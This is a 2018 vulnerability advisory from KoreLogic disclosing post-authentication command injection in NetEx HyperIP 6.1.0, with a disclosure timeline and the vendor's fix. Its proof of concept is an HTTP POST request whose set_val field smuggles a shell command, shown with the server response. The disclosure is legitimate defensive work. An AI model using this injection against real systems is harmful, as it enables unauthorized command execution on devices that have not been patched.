KL-001-2018-003 : NetEx HyperIP Post-Auth Command Execution

Title: NetEx HyperIP Post-Auth Command Execution
Advisory ID: KL-001-2018-003
Publication Date: 2018.02.08
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-003.txt


1. Vulnerability Details

     Affected Vendor: NetEx
     Affected Product: HyperIP
     Affected Version: 6.1.0
     Platform: Embedded Linux
     CWE Classification: CWE-78:  Improper Neutralization of Special Elements used in an OS Command, CWE-250: Execution
with Unnecessary Privileges
     Impact: Arbitrary Command Execution
     Attack vector: HTTPS

2. Vulnerability Description

     A command injection vulnerability can be leveraged to execute
     operating system commands.

3. Technical Description

     A POST variable is handled unsafely, allowing execution of arbitrary
     commands with the privileges of the webserver process.  In the below
     example, set_val= is used to copy an existing executable file into
     a writable directory.

       POST /hypmisc.php HTTP/1.1
       Host: 1.3.3.7
       Accept-Language: en-US,en;q=0.5
       Cookie: auth-token=b6b73844ce4df64f459948c5475a1096
       DNT: 1
       Connection: close
       Upgrade-Insecure-Requests: 1
       Content-Type: application/x-www-form-urlencoded
       Content-Length: 99

       set_id=msglvl&set_val=$(cp /etc/profile.d/which-2.sh /var/ftp/pub/updates/a.run)&perm=on&submit=Set

       HTTP/1.1 200 OK
       Date: Mon, 27 Mar 2017 07:20:56 GMT
       Server: Apache/2.2.3 (CentOS)
       X-Powered-By: PHP/5.1.6
       Expires: Thu, 19 Nov 1981 08:52:00 GMT
       Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
       Pragma: no-cache
       Content-Length: 1057
       Connection: close
       Content-Type: text/html; charset=UTF-8

4. Mitigation and Remediation Recommendation

     The vendor has released version 6.1.1 of HyperIP, which they state
     addresses this vulnerability.

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2017.07.24 - KoreLogic submits vulnerability details to NetEx.
     2017.07.24 - NetEx confirms receipt.
     2017.08.16 - NetEx informs KoreLogic that this and other reported
                  vulnerabilities have been addressed in the forthcoming
                  release. ETA as of yet undetermined.
     2017.09.05 - 30 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2017.09.19 - NetEx informs KoreLogic that the forthcoming release
                  6.1.1 is expected to ship at the end of January 2018.
     2017.09.26 - 45 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2017.12.01 - 90 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2018.01.17 - 120 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release
                  has gone live.
     2018.02.08 - KoreLogic public disclosure.

7. Proof of Concept

     See 3. Technical Description.


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KoreLogic, Inc. and are licensed under a Creative Commons
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